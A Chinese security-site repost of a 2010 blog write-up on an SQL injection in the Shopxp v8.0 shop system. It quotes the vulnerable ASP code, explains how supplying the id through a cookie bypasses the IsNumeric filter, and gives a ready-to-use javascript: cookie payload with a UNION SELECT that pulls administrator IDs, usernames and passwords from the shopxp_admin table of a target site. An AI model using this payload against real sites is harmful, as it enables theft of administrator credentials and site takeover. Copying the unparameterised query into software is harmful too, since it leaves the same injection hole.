首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
Shopxp v8.0 SQL Injection 0day
来源:http://hi.baidu.com/netstart/blog 作者:My5t3ry 发布时间:2010-02-01  
最近帮朋友看一个站,发现用的是shopxp,就下了shopxp源码回来读了下,发现漏洞不少,下面一起来看看。这套系统使用了早期的枫叶防注系统,只过滤了GET,并且可以绕过,这里不谈绕过的问题了,我们看到
xplistpl.asp  9-36行代码:


<table width="100%"  border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="88%"><TABLE cellSpacing=0 cellPadding=0 width=100% align=center border=0>
<TBODY>
<TR>
<td width="1" background="img_shopxp/xiao/bgbg.gif"></td>
<TD class=b vAlign=top align=left><%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>
<table width="100%" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">
<tr>
<td width="100%" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="4" align="center">
<%
set rs=server.createobject("adodb.recordset")
rs.open "select * from shopxp_product where shopxpptid="&request("id"),conn,1,3
if rs.recordcount>0 then
spmx=rs("shopxpptname")
end if%>
<tr>
<td colspan="3" background="img_shopxp/class_bg.jpg" height=50>  <a href=index.asp><%=webname%></a> >> 商品评论:<%=spmx%></td>
</tr>
</table>


上面这段代码存在逻辑漏洞哦,其中IsNumeric(request.QueryString("id"))=False 这句判断获取的id是否为数字,如果false则停止执行,
但这里的id是通过request.QueryString获取的,如果我们不给id赋值会怎么样呢?同学们可以通过下面的代码来验证:

<%
if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
response.write("my5t3ry")
%>


保存为test.asp,然后直接访问test.asp,看是否打印my5t3ry? 如果不用过request.QueryString给id赋值,
而是通过,request.form或者request.cookies给id赋值是可以直接绕过他的判断的,代码不会停止执行,然后进入
sql查询用的是request("id"),学过asp的同学都知道request通吃get,post,cookie的,到这里就成功bypass防注和IsNumeric函数的判断。

exploit:
用Firefox访问目标站,使用Firefox的插件noscript禁用该站javascript
然后清空地址栏,输入:
javascript:alert(document.cookie="id=" + escape("1  union select 1,cstr(adminid)&chr(124)&admin&chr(124)&password,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3 from shopxp_admin"));location.href="/xplistpl.asp";

Ps:如果商品评论后面没有显示,多半是字段数步对造成的

如图:
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Discuz插件《虚拟股市》blind In
·Discuz!7.0-7.2后台settings.inc
·睛天电影系统注入漏洞
·Phpwind7.5 后台本地包含漏洞利
·OK3W v4.7文章管理系统漏洞
·MASA2EL Music City v1.0远程注
·Sablog-X v2.x 任意变量覆盖漏洞
·韩国gnuboard论坛漏洞EXP及使用
·PHPWind7.5 远程包含0DAY
·Sablog-X 2.X 后台管理权限欺骗
·MyBB 1.4 admin remote code exe
·phpwind 7.5 Multiple Include V
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved